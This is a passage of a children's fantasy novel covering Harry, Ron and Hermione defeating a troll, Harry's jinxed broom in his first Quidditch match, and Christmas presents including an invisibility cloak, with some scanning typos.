passage to the left, +something huge was moving toward them. They shrank into the shadows and +watched as it emerged into a patch of moonlight. + +It was a horrible sight. Twelve feet tall, its skin was a dull, granite +gray, its great lumpy body like a boulder with its small bald head +perched on top like a coconut. It had short legs thick as tree trunks +with flat, horny feet. The smell coming from it was incredible. It was +holding a huge wooden club, which dragged along the floor because its +arms were so long. + +The troll stopped next to a doorway and peered inside. It waggled its +long ears, making up its tiny mind, then slouched slowly into the room. + +"The keys in the lock," Harry muttered. "We could lock it in." + +"Good idea," said Ron nervously. + +They edged toward the open door, mouths dry, praying the troll wasn't +about to come out of it. With one great leap, Harry managed to grab the +key, slam the door, and lock it. + +'Yes!" + +Flushed with their victory, they started to run back up the passage, but +as they reached the corner they heard something that made their hearts +stop -- a high, petrified scream -- and it was coming from the chamber +they'd just chained up. + +"Oh, no," said Ron, pale as the Bloody Baron. + +"It's the girls' bathroom!" Harry gasped. + +"Hermione!" they said together. + +It was the last thing they wanted to do, but what choice did they have? +Wheeling around, they sprinted back to the door and turned the key, +fumbling in their panic. Harry pulled the door open and they ran inside. + +Hermione Granger was shrinking against the wall opposite, looking as if +she was about to faint. The troll was advancing on her, knocking the +sinks off the walls as it went. + +"Confuse it!" Harry said desperately to Ron, and, seizing a tap, he +threw it as hard as he could against the wall. + +The troll stopped a few feet from Hermione. It lumbered around, blinking +stupidly, to see what had made the noise. Its mean little eyes saw +Harry. It hesitated, then made for him instead, lifting its club as it +went. + +"Oy, pea-brain!" yelled Ron from the other side of the chamber, and he +threw a metal pipe at it. The troll didn't even seem to notice the pipe +hitting its shoulder, but it heard the yell and paused again, turning +its ugly snout toward Ron instead, giving Harry time to run around it. + +"Come on, run, run!" Harry yelled at Hermione, trying to pull her toward +the door, but she couldn't move, she was still flat against the wall, +her mouth open with terror. + +The shouting and the echoes seemed to be driving the troll berserk. It +roared again and started toward Ron, who was nearest and had no way to +escape. + +Harry then did something that was both very brave and very stupid: He +took a great running jump and managed to fasten his arms around the +troll's neck from behind. The troll couldn't feel Harry hanging there, +but even a troll will notice if you stick a long bit of wood up its +nose, and Harry's wand had still been in his hand when he'd jumped -- it +had gone straight up one of the troll's nostrils. + +Howling with pain, the troll twisted and flailed its club, with Harry +clinging on for dear life; any second, the troll was going to rip him +off or catch him a terrible blow with the club. + +Hermione had sunk to the floor in fright; Ron pulled out his own wand -- +not knowing what he was going to do he heard himself cry the first spell +that came into his head: "Wingardium Leviosa!" + +The club flew suddenly out of the troll's hand, rose high, high up into +the air, turned slowly over -- and dropped, with a sickening crack, onto +its owner's head. The troll swayed on the spot and then fell flat on its +face, with a thud that made the whole room tremble. + +Harry got to his feet. He was shaking and out of breath. Ron was +standing there with his wand still raised, staring at what he had done. + +It was Hermione who spoke first. + +"Is it -- dead?" + +I don't think so," said Harry, I think it's just been knocked out." + +He bent down and pulled his wand out of the troll's nose. It was covered +in what looked like lumpy gray glue. + +"Urgh -- troll boogers." + +He wiped it on the troll's trousers. + +A sudden slamming and loud footsteps made the three of them look up. +They hadn't realized what a racket they had been making, but of course, +someone downstairs must have heard the crashes and the troll's roars. A +moment later, Professor McGonagall had come bursting into the room, +closely followed by Snape, with Quirrell bringing up the rear. Quirrell +took one look at the troll, let out a faint whimper, and sat quickly +down on a toilet, clutching his heart. + +Snape bent over the troll. Professor McGonagall was looking at Ron and +Harry. Harry had never seen her look so angry. Her lips were white. +Hopes of winning fifty points for Gryffindor faded quickly from Harry's +mind. + +"What on earth were you thinking of?" said Professor McGonagall, with +cold fury in her voice. Harry looked at Ron, who was still standing with +his wand in the air. "You're lucky you weren't killed. Why aren't you in +your dormitory?" + +Snape gave Harry a swift, piercing look. Harry looked at the floor. He +wished Ron would put his wand down. + +Then a small voice came out of the shadows. + +"Please, Professor McGonagall -- they were looking for me." + +"Miss Granger!" + +Hermione had managed to get to her feet at last. + +I went looking for the troll because I -- I thought I could deal with it +on my own -- you know, because I've read all about them." + +Ron dropped his wand. Hermione Granger, telling a downright lie to a +teacher? "If they hadn't found me, I'd be dead now. Harry stuck his wand +up its nose and Ron knocked it out with its own club. They didn't have +time to come and fetch anyone. It was about to finish me off when they +arrived." + +Harry and Ron tried to look as though this story wasn't new to them. + +"Well -- in that case..." said Professor McGonagall, staring at the +three of them, "Miss Granger, you foolish girl, how could you think of +tackling a mountain troll on your own?" + +Hermione hung her head. Harry was speechless. Hermione was the last +person to do anything against the rules, and here she was, pretending +she had, to get them out of trouble. It was as if Snape had started +handing out sweets. + +"Miss Granger, five points will be taken from Gryffindor for this," said +Professor McGonagall. "I'm very disappointed in you. If you're not hurt +at all, you'd better get off to Gryffindor tower. Students are finishing +the feast in their houses." + +Hermione left. + +Professor McGonagall turned to Harry and Ron. + +"Well, I still say you were lucky, but not many first years could have +taken on a full-grown mountain troll. You each win Gryffindor five +points. Professor Dumbledore will be informed of this. You may go." + +They hurried out of the chamber and didn't speak at all until they had +climbed two floors up. It was a relief to be away from the smell of the +troll, quite apart from anything else. + +"We should have gotten more than ten points," Ron grumbled. + +"Five, you mean, once she's taken off Hermione's." + +"Good of her to get us out of trouble like that," Ron admitted. "Mind +you, we did save her." + +"She might not have needed saving if we hadn't locked the thing in with +her," Harry reminded him. + +They had reached the portrait of the Fat Lady. + +"Pig snout," they said and entered. + +The common room was packed and noisy. Everyone was eating the food that +had been sent up. Hermione, however, stood alone by the door, waiting +for them. There was a very embarrassed pause. Then, none of them looking +at each other, they all said "Thanks," and hurried off to get plates. + +But from that moment on, Hermione Granger became their friend. There are +some things you can't share without ending up liking each other, and +knocking out a twelve-foot mountain troll is one of them. + + +CHAPTER ELEVEN + +QUIDDITCH + +As they entered November, the weather turned very cold. The mountains +around the school became icy gray and the lake like chilled steel. Every +morning the ground was covered in frost. Hagrid could be seen from the +upstairs windows defrosting broomsticks on the Quidditch field, bundled +up in a long moleskin overcoat, rabbit fur gloves, and enormous +beaverskin boots. + +The Quidditch season had begun. On Saturday, Harry would be playing in +his first match after weeks of training: Gryffindor versus Slytherin. If +Gryffindor won, they would move up into second place in the house +championship. + +Hardly anyone had seen Harry play because Wood had decided that, as +their secret weapon, Harry should be kept, well, secret. But the news +that he was playing Seeker had leaked out somehow, and Harry didn't know +which was worse -- people telling him he'd be brilliant or people +telling him they'd be running around underneath him holding a mattress. + +It was really lucky that Harry now had Hermlone as a friend. He didn't +know how he'd have gotten through all his homework without her, what +with all the last-minute Quidditch practice Wood was making them do. She +had also tent him Quidditch Through the Ages, which turned out to be a +very interesting read. + +Harry learned that there were seven hundred ways of committing a +Quidditch foul and that all of them had happened during a World Cup +match in 1473; that Seekers were usually the smallest and fastest +players, and that most serious Quidditch accidents seemed to happen to +them; that although people rarely died playing Quidditch, referees had +been known to vanish and turn up months later in the Sahara Desert. + +Hermione had become a bit more relaxed about breaking rules since Harry +and Ron had saved her from the mountain troll, and she was much nicer +for it. The day before Harry's first Quidditch match the three of them +were out in the freezing courtyard during break, and she had conjured +them up a bright blue fire that could be carried around in a jam jar. +They were standing with their backs to it, getting warm, when Snape +crossed the yard. Harry noticed at once that Snape was limping. Harry, +Ron, and Hermione moved closer together to block the fire from view; +they were sure it wouldn't be allowed. Unfortunately, something about +their guilty faces caught Snape's eye. He limped over. He hadn't seen +the fire, but he seemed to be looking for a reason to tell them off +anyway. + +"What's that you've got there, Potter?" + +It was Quidditch Through the Ages. Harry showed him. + +"Library books are not to be taken outside the school," said Snape. +"Give it to me. Five points from Gryffindor." + +"He's just made that rule up," Harry muttered angrily as Snape limped +away. "Wonder what's wrong with his leg?" + +"Dunno, but I hope it's really hurting him," said Ron bitterly. + +The Gryffindor common room was very noisy that evening. Harry, Ron, and +Hermione sat together next to a window. Hermione was checking Harry and +Ron's Charms homework for them. She would never let them copy ("How will +you learn?"), but by asking her to read it through, they got the right +answers anyway. + +Harry felt restless. He wanted Quidditch Through the Ages back, to take +his mind off his nerves about tomorrow. Why should he be afraid of +Snape? Getting up, he told Ron and Hermione he was going to ask Snape if +he could have it. + +"Better you than me," they said together, but Harry had an idea that +Snape wouldn't refuse if there were other teachers listening. + +He made his way down to the staffroom and knocked. There was no answer. +He knocked again. Nothing. + +Perhaps Snape had left the book in there? It was worth a try. He pushed +the door ajar and peered inside -- and a horrible scene met his eyes. + +Snape and Filch were inside, alone. Snape was holding his robes above +his knees. One of his legs was bloody and mangled. Filch was handing +Snape bandages. + +"Blasted thing*," Snape was saying. "How are you supposed to keep your +eyes on all three heads at once?" + +Harry tried to shut the door quietly, but -- + +"POTTER!" + +Snape's face was twisted with fury as he dropped his robes quickly to +hide his leg. Harry gulped. + +"I just wondered if I could have my book back." + +"GET OUT! OUT!" + +Harry left, before Snape could take any more points from Gryffindor. He +sprinted back upstairs. + +"Did you get it?" Ron asked as Harry joined them. "What's the matter?" + +In a low whisper, Harry told them what he'd seen. + +"You know what this means?" he finished breathlessly. "He tried to get +past that three-headed dog at Halloween! That's where he was going when +we saw him -- he's after whatever it's guarding! And Id bet my +broomstick he let that troll in, to make a diversion!" + +Hermione's eyes were wide. + +"No -- he wouldn't, she said. "I know he's not very nice, but he +wouldn't try and steal something Dumbledore was keeping safe." + +"Honestly, Hermione, you think all teachers are saints or something," +snapped Ron. "I'm with Harry. I wouldn't put anything past Snape. But +what's he after? What's that dog guarding?" + +Harry went to bed with his head buzzing with the same question. Neville +was snoring loudly, but Harry couldn't sleep. He tried to empty his mind +-- he needed to sleep, he had to, he had his first Quidditch match in a +few hours -- but the expression on Snape's face when Harry had seen his +leg wasn't easy to forget. + +The next morning dawned very bright and cold. The Great Hall was full of +the delicious smell of fried sausages and the cheer ful chatter of +everyone looking forward to a good Quidditch match. + +"You've got to eat some breakfast." + +"I don't want anything." + +"Just a bit of toast," wheedled Hermione. + +"I'm not hungry." + +Harry felt terrible. In an hour's time he'd be walking onto the field. + +"Harry, you need your strength," said Seamus Finnigan. "Seekers are +always the ones who get clobbered by the other team." + +"Thanks, Seamus," said Harry, watching Seamus pile ketchup on his +sausages. + +By eleven o'clock the whole school seemed to be out in the stands around +the Quidditch pitch. Many students had binoculars. The seats might be +raised high in the air, but it was still difficult to see what was going +on sometimes. + +Ron and Hermione joined Neville, Seamus, and Dean the West Ham fan up in +the top row. As a surprise for Harry, they had painted a large banner on +one of the sheets Scabbers had ruined. It said Potter for President, and +Dean, who was good at drawing, had done a large Gryffindor lion +underneath. Then Hermione had performed a tricky little charm so that +the paint flashed different colors. + +Meanwhile, in the locker room, Harry and the rest of the team were +changing into their scarlet Quidditch robes (Slytherin would be playing +in green). + +Wood cleared his throat for silence. + +"Okay, men," he said. + +"And women," said Chaser Angelina Johnson. + +"And women," Wood agreed. "This is it." + +"The big one," said Fred Weasley. + +"The one we've all been waiting for," said George. + +"We know Oliver's speech by heart," Fred told Harry, "we were on the +team last year." + +"Shut up, you two," said Wood. "This is the best team Gryffindor's had +in years. We're going to win. I know it." + +He glared at them all as if to say, "Or else." + +"Right. It's time. Good luck, all of you." + +Harry followed Fred and George out of the locker room and, hoping his +knees weren't going to give way, walked onto the field to loud cheers. + +Madam Hooch was refereeing. She stood in the middle of the field waiting +for the two teams, her broom in her hand. + +"Now, I want a nice fair game, all of you," she said, once they were all +gathered around her. Harry noticed that she seemed to be speaking +particularly to the Slytherin Captain, Marcus Flint, a sixth year. Harry +thought Flint looked as if he had some troll blood in him. Out of the +corner of his eye he saw the fluttering banner high above, flashing +Potter for President over the crowd. His heart skipped. He felt braver. + +"Mount your brooms, please." + +Harry clambered onto his Nimbus Two Thousand. + +Madam Hooch gave a loud blast on her silver whistle. + +Fifteen brooms rose up, high, high into the air. They were off. "And the +Quaffle is taken immediately by Angelina Johnson of Gryffindor -- what +an excellent Chaser that girl is, and rather attractive, too --" + +"JORDAN!" + +"Sorry, Professor." + +The Weasley twins' friend, Lee Jordan, was doing the commentary for the +match, closely watched by Professor McGonagall. + +"And she's really belting along up there, a neat pass to Alicia Spinnet, +a good find of Oliver Wood's, last year only a reserve -- back to +Johnson and -- no, the Slytherins have taken the Quaffle, Slytherin +Captain Marcus Flint gains the Quaffle and off he goes -- Flint flying +like an eagle up there -- he's going to sc- no, stopped by an excellent +move by Gryffindor Keeper Wood and the Gryffindors take the Quaffle -- +that's Chaser Katie Bell of Gryffindor there, nice dive around Flint, +off up the field and -- OUCH -- that must have hurt, hit in the back of +the head by a Bludger -- Quaffle taken by the Slytherins -- that's +Adrian Pucey speeding off toward the goal posts, but he's blocked by a +second Bludger -- sent his way by Fred or George Weasley, can't tell +which -- nice play by the Gryffindor Beater, anyway, and Johnson back in +possession of the Quaffle, a clear field ahead and off she goes -- she's +really flying -- dodges a speeding Bludger -- the goal posts are ahead +-- come on, now, Angelina -- Keeper Bletchley dives -- misses -- +GRYFFINDORS SCORE!" + +Gryffindor cheers filled the cold air, with howls and moans from the +Slytherins. + +"Budge up there, move along." + +"Hagrid!" + +Ron and Hermione squeezed together to give Hagrid enough space to join +them. + +"Bin watchin' from me hut," said Hagrid, patting a large pair of +binoculars around his neck, "But it isn't the same as bein' in the +crowd. No sign of the Snitch yet, eh?" + +"Nope," said Ron. "Harry hasn't had much to do yet." + +"Kept outta trouble, though, that's somethin'," said Hagrid, raising his +binoculars and peering skyward at the speck that was Harry. + +Way up above them, Harry was gliding over the game, squinting about for +some sign of the Snitch. This was part of his and Wood's game plan. + +"Keep out of the way until you catch sight of the Snitch," Wood had +said. "We don't want you attacked before you have to be." + +When Angelina had scored, Harry had done a couple of loop-the-loops to +let off his feelings. Now he was back to staring around for the Snitch. +Once he caught sight of a flash of gold, but it was just a reflection +from one of the Weasleys' wristwatches, and once a Bludger decided to +come pelting his way, more like a cannonball than anything, but Harry +dodged it and Fred Weasley came chasing after it. + +"All right there, Harry?" he had time to yell, as he beat the Bludger +furiously toward Marcus Flint. + +"Slytherin in possession," Lee Jordan was saying, "Chaser Pucey ducks +two Bludgers, two Weasleys, and Chaser Bell, and speeds toward the -- +wait a moment -- was that the Snitch?" + +A murmur ran through the crowd as Adrian Pucey dropped the Quaffle, too +busy looking over his shoulder at the flash of gold that had passed his +left ear. + +Harry saw it. In a great rush of excitement he dived downward after the +streak of gold. Slytherin Seeker Terence Higgs had seen it, too. Neck +and neck they hurtled toward the Snitch -all the Chasers seemed to have +forgotten what they were supposed to be doing as they hung in midair to +watch. + +Harry was faster than Higgs -- he could see the little round ball, wings +fluttering, darting up ahead - - he put on an extra spurt of speed -- + +WHAM! A roar of rage echoed from the Gryffindors below -- Marcus Flint +had blocked Harry on purpose, and Harry's broom spun off course, Harry +holding on for dear life. + +"Foul!" screamed the Gryffindors. + +Madam Hooch spoke angrily to Flint and then ordered a free shot at the +goal posts for Gryffindor. But in all the confusion, of course, the +Golden Snitch had disappeared from sight again. + +Down in the stands, Dean Thomas was yelling, "Send him off, ref! Red +card!" + +"What are you talking about, Dean?" said Ron. + +"Red card!" said Dean furiously. "In soccer you get shown the red card +and you're out of the game!" + +"But this isn't soccer, Dean," Ron reminded him. + +Hagrid, however, was on Dean's side. + +"They oughta change the rules. Flint coulda knocked Harry outta the +air." + +Lee Jordan was finding it difficult not to take sides. + +"So -- after that obvious and disgusting bit of cheating + +"Jordan!" growled Professor McGonagall. + +"I mean, after that open and revolting foul + +'Jordan, I'm warning you --" + +"All right, all right. Flint nearly kills the Gryffindor Seeker, which +could happen to anyone, I'm sure, so a penalty to Gryffindor, taken by +Spinner, who puts it away, no trouble, and we continue play, Gryffindor +still in possession." + +It was as Harry dodged another Bludger, which went spinning dangerously +past his head, that it happened. His broom gave a sudden, frightening +lurch. For a split second, he thought he was going to fall. He gripped +the broom tightly with both his hands and knees. He'd never felt +anything like that. + +It happened again. It was as though the broom was trying to buck him +off. But Nimbus Two Thousands did not suddenly decide to buck their +riders off. Harry tried to turn back toward the Gryffindor goal- posts +-- he had half a mind to ask Wood to call time-out -- and then he +realized that his broom was completely out of his control. He couldn't +turn it. He couldn't direct it at all. It was zigzagging through the +air, and every now and then making violent swishing movements that +almost unseated him. + +Lee was still commentating. + +"Slytherin in possession -- Flint with the Quaffle -- passes Spinnet -- +passes Bell -- hit hard in the face by a Bludger, hope it broke his nose +-- only joking, Professor -- Slytherins score -- A no... + +The Slytherins were cheering. No one seemed to have noticed that Harry's +broom was behaving strangely. It was carrying- him slowly higher, away +from the game, jerking and twitching as it went. + +"Dunno what Harry thinks he's doing," Hagrid mumbled. He stared through +his binoculars. "If I didn' know better, I'd say he'd lost control of +his broom... but he can't have...." + +Suddenly, people were pointing up at Harry all over the stands. His +broom had started to roll over and over, with him only just managing to +hold on. Then the whole crowd gasped. Harry's broom had given a wild +jerk and Harry swung off it. He was now dangling from it, holding on +with only one hand. + +"Did something happen to it when Flint blocked him?" Seamus whispered. + +"Can't have," Hagrid said, his voice shaking. "Can't nothing interfere +with a broomstick except powerful Dark magic -- no kid could do that to +a Nimbus Two Thousand." + +At these words, Hermione seized Hagrid's binoculars, but instead of +looking up at Harry, she started looking frantically at the crowd. + +"What are you doing?" moaned Ron, gray-faced. + +"I knew it," Hermione gasped, "Snape -- look." + +Ron grabbed the binoculars. Snape was in the middle of the stands +opposite them. He had his eyes fixed on Harry and was muttering nonstop +under his breath. + +"He's doing something -- jinxing the broom," said Hermione. + +"What should we do?" + +"Leave it to me." + +Before Ron could say another word, Hermione had disappeared. Ron turned +the binoculars back on Harry. His broom was vibrating so hard, it was +almost impossible for him to hang on much longer. The whole crowd was on +its feet, watching, terrified, as the Weasleys flew up to try and pull +Harry safely onto one of their brooms, but it was no good -- every time +they got near him, the broom would jump higher still. They dropped lower +and circled beneath him, obviously hoping to catch him if he fell. +Marcus + +Flint seized the Quaffle and scored five times without anyone noticing. + +"Come on, Hermione," Ron muttered desperately. + +Hermione had fought her way across to the stand where Snape stood, and +was now racing along the row behind him; she didn't even stop to say +sorry as she knocked Professor Quirrell headfirst into the row in front. +Reaching Snape, she crouched down, pulled out her wand, and whispered a +few, well- chosen words. Bright blue flames shot from her wand onto the +hem of Snape's robes. + +It took perhaps thirty seconds for Snape to realize that he was on fire. +A sudden yelp told her she had done her job. Scooping the fire off him +into a little jar in her pocket, she scrambled back along the row -- +Snape would never know what had happened. + +It was enough. Up in the air, Harry was suddenly able to clamber back on +to his broom. + +"Neville, you can look!" Ron said. Neville had been sobbing into +Hagrid's jacket for the last five minutes. + +Harry was speeding toward the ground when the crowd saw him clap his +hand to his mouth as though he was about to be sick -- he hit the field +on all fours -- coughed -- and something gold fell into his hand. + +"I've got the Snitch!" he shouted, waving it above his head, and the +game ended in complete confusion. + +"He didn't catch it, he nearly swallowed it," Flint was still howling +twenty minutes later, but it made no difference -- Harry hadn't broken +any rules and Lee Jordan was still happily shouting the results -- +Gryffindor had won by one hundred and seventy points to sixty. Harry +heard none of this, though. He was being made a cup of strong tea back +in Hagrid's hut, with Ron and Hermione. + +"It was Snape," Ron was explaining, "Hermione and I saw him. He was +cursing your broomstick, muttering, he wouldn't take his eyes off you." + +"Rubbish," said Hagrid, who hadn't heard a word of what had gone on next +to him in the stands. "Why would Snape do somethin' like that?" + +Harry, Ron, and Hermione looked at one another, wondering what to tell +him. Harry decided on the truth. + +"I found out something about him," he told Hagrid. "He tried to get past +that three-headed dog on Halloween. It bit him. We think he was trying +to steal whatever it's guarding." + +Hagrid dropped the teapot. + +"How do you know about Fluffy?" he said. + +"Fluffy?" + +"Yeah -- he's mine -- bought him off a Greek chappie I met in the pub +las' year -- I lent him to Dumbledore to guard the + +"Yes?" said Harry eagerly. + +"Now, don't ask me anymore," said Hagrid gruffly. "That's top secret, +that is." + +"But Snape's trying to steal it." + +"Rubbish," said Hagrid again. "Snape's a Hogwarts teacher, he'd do +nothin' of the sort." + +"So why did he just try and kill Harry?" cried Hermione. + +The afternoon's events certainly seemed to have changed her mind about +Snape. + +I know a jinx when I see one, Hagrid, I've read all about them! + +You've got to keep eye contact, and Snape wasn't blinking at all, I saw +him!" + +"I'm tellin' yeh, yer wrong!" said Hagrid hotly. "I don' know why +Harry's broom acted like that, but Snape wouldn' try an' kill a student! +Now, listen to me, all three of yeh -- yer meddlin' in things that don' +concern yeh. It's dangerous. You forget that dog, an' you forget what +it's guardin', that's between Professor Dumbledore an' Nicolas Flamel +--" + +"Aha!" said Harry, "so there's someone called Nicolas Flamel involved, +is there?" + +Hagrid looked furious with himself. + + +CHAPTER TWELVE + +THE MIRROR OF ERISED + +Christmas was coming. One morning in mid-December, Hogwarts woke to find +itself covered in several feet of snow. The lake froze solid and the +Weasley twins were punished for bewitching several snowballs so that +they followed Quirrell around, bouncing off the back of his turban. The +few owls that managed to battle their way through the stormy sky to +deliver mail had to be nursed back to health by Hagrid before they could +fly off again. + +No one could wait for the holidays to start. While the Gryffindor common +room and the Great Hall had roaring fires, the drafty corridors had +become icy and a bitter wind rattled the windows in the classrooms. +Worst of all were Professor Snape's classes down in the dungeons, where +their breath rose in a mist before them and they kept as close as +possible to their hot cauldrons. + +"I do feel so sorry," said Draco Malfoy, one Potions class, "for all +those people who have to stay at Hogwarts for Christmas because they're +not wanted at home." + +He was looking over at Harry as he spoke. Crabbe and Goyle chuckled. +Harry, who was measuring out powdered spine of lionfish, ignored them. +Malfoy had been even more unpleasant than usual since the Quidditch +match. Disgusted that the Slytherins had lost, he had tried to get +everyone laughing at how a wide-mouthed tree frog would be replacing +Harry as Seeker next. Then he'd realized that nobody found this funny, +because they were all so impressed at the way Harry had managed to stay +on his bucking broomstick. So Malfoy, jealous and angry, had gone back +to taunting Harry about having no proper family. + +It was true that Harry wasn't going back to Privet Drive for Christmas. +Professor McGonagall had come around the week before, making a list of +students who would be staying for the holidays, and Harry had signed up +at once. He didn't feel sorry for himself at all; this would probably be +the best Christmas he'd ever had. Ron and his brothers were staying, +too, because Mr. and Mrs. Weasley were going to Romania to visit +Charlie. + +When they left the dungeons at the end of Potions, they found a large +fir tree blocking the corridor ahead. Two enormous feet sticking out at +the bottom and a loud puffing sound told them that Hagrid was behind it. + +"Hi, Hagrid, want any help?" Ron asked, sticking his head through the +branches. + +"Nah, I'm all right, thanks, Ron." + +"Would you mind moving out of the way?" came Malfoys cold drawl from +behind them. "Are you trying to earn some extra money, Weasley? Hoping +to be gamekeeper yourself when you leave Hogwarts, I suppose -- that hut +of Hagrid's must seem like a palace compared to what your family's used +to." + +Ron dived at Malfoy just as Snape came up the stairs. + +"WEASLEY!" + +Ron let go of the front of Malfoy's robes. + +"He was provoked, Professor Snape," said Hagrid, sticking his huge hairy +face out from behind the tree. "Malfoy was insultin' his family." + +"Be that as it may, fighting is against Hogwarts rules, Hagrid," said +Snape silkily. "Five points from Gryffindor, Weasley, and be grateful it +isn't more. Move along, all of you." + +Malfoy, Crabbe, and Goyle pushed roughly past the tree, scattering +needles everywhere and smirking. + +"I'll get him," said Ron, grinding his teeth at Malfoy's back, "one of +these days, I'll get him --" + +"I hate them both," said Harry, "Malfoy and Snape." + +"Come on, cheer up, it's nearly Christmas," said Hagrid. "Tell yeh what, +come with me an' see the Great Hall, looks a treat." + +So the three of them followed Hagrid and his tree off to -the Great +Hall, where Professor McGonagall and Professor Flitwick were busy with +the Christmas decorations. + +"Ah, Hagrid, the last tree -- put it in the far corner, would you?" + +The hall looked spectacular. Festoons of holly and mistletoe hung all +around the walls, and no less than twelve towering Christmas trees stood +around the room, some sparkling with tiny icicles, some glittering with +hundreds of candles. + +"How many days you got left until yer holidays?" Hagrid asked. + +"Just one," said Hermione. "And that reminds me -Harry, Ron, we've got +half an hour before lunch, we should be in the library." + +"Oh yeah, you're right," said Ron, tearing his eyes away from Professor +Flitwick, who had golden bubbles blossoming out of his wand and was +trailing them over the branches of the new tree. + +"The library?" said Hagrid, following them out of the hall. "Just before +the holidays? Bit keen, aren't yeh?" + +"Oh, we're not working," Harry told him brightly. "Ever since you +mentioned Nicolas Flamel we've been trying to find out who he is." + +"You what?" Hagrid looked shocked. "Listen here -- I've told yeh -- drop +it. It's nothin' to you what that dog's guardin'." + +"We just want to know who Nicolas Flamel is, that's all," said Hermione. + +"Unless you'd like to tell us and save us the trouble?" Harry added. "We +must've been through hundreds of books already and we can't find him +anywhere -- just give us a hint -- I know I've read his name somewhere." + +"I'm sayin' nothin, said Hagrid flatly. + +"Just have to find out for ourselves, then," said Ron, and they left +Hagrid looking disgruntled and hurried off to the library. + +They had indeed been searching books for Flamel's name ever since Hagrid +had let it slip, because how else were they going to find out what Snape +was trying to steal? The trouble was, it was very hard to know where to +begin, not knowing what Flamel might have done to get himself into a +book. He wasn't in Great Wizards of the Twentieth Century, or Notable +Magical Names of Our Time; he was missing, too, from Important Modern +Magical Discoveries, and A Study of Recent Developments in Wizardry. And +then, of course, there was the sheer size of the library; tens of +thousands of books; thousands of shelves; hundreds of narrow rows. + +Hermione took out a list of subjects and titles she had decided to +search while Ron strode off down a row of books and started pulling them +off the shelves at random. Harry wandered over to the Restricted +Section. He had been wondering for a while if Flamel wasn't somewhere in +there. Unfortunately, you needed a specially signed note from one of the +teachers to look in any of the restricted books, and he knew he'd never +get one. These were the books containing powerful Dark Magic never +taught at Hogwarts, and only read by older students studying advanced +Defense Against the Dark Arts. + +"What are you looking for, boy?" + +"Nothing," said Harry. + +Madam Pince the librarian brandished a feather duster at him. + +"You'd better get out, then. Go on -- out!" + +Wishing he'd been a bit quicker at thinking up some story, Harry left +the library. He, Ron, and Hermione had already agreed they'd better not +ask Madam Pince where they could find Flamel. They were sure she'd be +able to tell them, but they couldn't risk Snape hearing what they were +up to. + +Harry waited outside in the corridor to see if the other two had found +anything, but he wasn't very hopeful. They had been looking for two +weeks, after A, but as they only had odd moments between lessons it +wasn't surprising they'd found nothing. What they really needed was a +nice long search without Madam Pince breathing down their necks. + +Five minutes later, Ron and Hermione joined him, shaking their heads. +They went off to lunch. + +"You will keep looking while I'm away, won't you?" said Hermione. "And +send me an owl if you find anything." + +"And you could ask your parents if they know who Flamel is," said Ron. +"It'd be safe to ask them." + +"Very safe, as they're both dentists," said Hermione. + +Once the holidays had started, Ron and Harry were having too good a time +to think much about Flamel. They had the dormitory to themselves and the +common room was far emptier than usual, so they were able to get the +good armchairs by the fire. They sat by the hour eating anything they +could spear on a toasting fork -- bread, English muffins, marshmallows +-- and plotting ways of getting Malfoy expelled, which were fun to talk +about even if they wouldn't work. + +Ron also started teaching Harry wizard chess. This was exactly like +Muggle chess except that the figures were alive, which made it a lot +like directing troops in battle. Ron's set was very old and battered. +Like everything else he owned, it had once belonged to someone else in +his family -- in this case, his grandfather. However, old chessmen +weren't a drawback at all. Ron knew them so well he never had trouble +getting them to do what he wanted. + +Harry played with chessmen Seamus Finnigan had lent him, and they didn't +trust him at all. He wasn't a very good player yet and they kept +shouting different bits of advice at him, which was confusing. "Don't +send me there, can't you see his knight? Send him, we can afford to lose +him." On Christmas Eve, Harry went to bed looking forward to the next +day for the food and the fun, but not expecting any presents at all. +When he woke early in the morning, however, the first thing he saw was a +small pile of packages at the foot of his bed. + +"Merry Christmas," said Ron sleepily as Harry scrambled out of bed and +pulled on his bathrobe. + +"You, too," said Harry. "Will you look at this? I've got some presents!" + +"What did you expect, turnips?" said Ron, turning to his own pile, which +was a lot bigger than Harry's. + +Harry picked up the top parcel. It was wrapped in thick brown paper and +scrawled across it was To Harry, from Hagrid. Inside was a roughly cut +wooden flute. Hagrid had obviously whittled it himself. Harry blew it -- +it sounded a bit like an owl. + +A second, very small parcel contained a note. + +We received your message and enclose your Christmas present. From Uncle +Vernon and Aunt Petunia. Taped to the note was a fifty-pence piece. + +"That's friendly," said Harry. + +Ron was fascinated by the fifty pence. + +"Weird!" he said, 'NMat a shape! This is money?" + +"You can keep it," said Harry, laughing at how pleased Ron was. "Hagrid +and my aunt and uncle -- so who sent these?" + +"I think I know who that one's from," said Ron, turning a bit pink and +pointing to a very lumpy parcel. "My mom. I told her you didn't expect +any presents and -- oh, no," he groaned, "she's made you a Weasley +sweater." + +Harry had torn open the parcel to find a thick, hand-knitted sweater in +emerald green and a large box of homemade fudge. + +"Every year she makes us a sweater," said Ron, unwrapping his own, "and +mine's always maroon." + +"That's really nice of her," said Harry, trying the fudge, which was +very tasty. + +His next present also contained candy -- a large box of Chocolate Frogs +from Hermione. + +This only left one parcel. Harry picked it up and felt it. It was very +light. He unwrapped it. + +Something fluid and silvery gray went slithering to the floor where it +lay in gleaming folds. Ron gasped. + +"I've heard of those," he said in a hushed voice, dropping the box of +Every Flavor Beans he'd gotten from Hermione. "If that's what I think it +is -- they're really rare, and really valuable." + +"What is it?" + +Harry picked the shining, silvery cloth off the floor. It was strange to +the touch, like water woven into material. + +"It's an invisibility cloak," said Ron, a look of awe on his face. "I'm +sure it is -- try it on." + +Harry threw the cloak around his shoulders and Ron gave a yell. + +"It is! Look down!" + +Harry looked down at his feet, but they were gone. He dashed to the +mirror. Sure enough, his reflection looked back at him, just his head +suspended in midair, his body completely invisible. He pulled the cloak +over his head and his reflection vanished completely. + +"There's a note!" said Ron suddenly. "A note fell out of it!" + +Harry pulled off the cloak and seized the letter. Written in narrow, +loopy writing he had never seen before were the following words: Your +father left this in my possession before he died. It is time it was +returned to you. Use it well. + +A Very Merry Christmas to you. + + +There was no signature. Harry stared at the note. Ron was admiring the +cloak. + +"I'd give anything for one of these," he said. "Anything. What's the +matter?" + +"Nothing," said Harry. He felt very strange. Who had sent the cloak? Had +it really once belonged to his father? + +Before he could say or think anything else, the dormitory door was flung +open and Fred and George Weasley bounded in. Harry stuffed the cloak +quickly out of sight. He didn't feel like sharing it with anyone else +yet. + +"Merry Christmas!" + +"Hey, look -- Harry's got a Weasley sweater, too!" + +Fred and George were wearing blue sweaters, one with a large yellow F on +it, the other a G. + +"Harry's is better than ours, though," said Fred, holding up Harry's +sweater. "She obviously makes more of an effort if you're not family." + +"Why aren't you wearing yours, Ron?" George demanded. 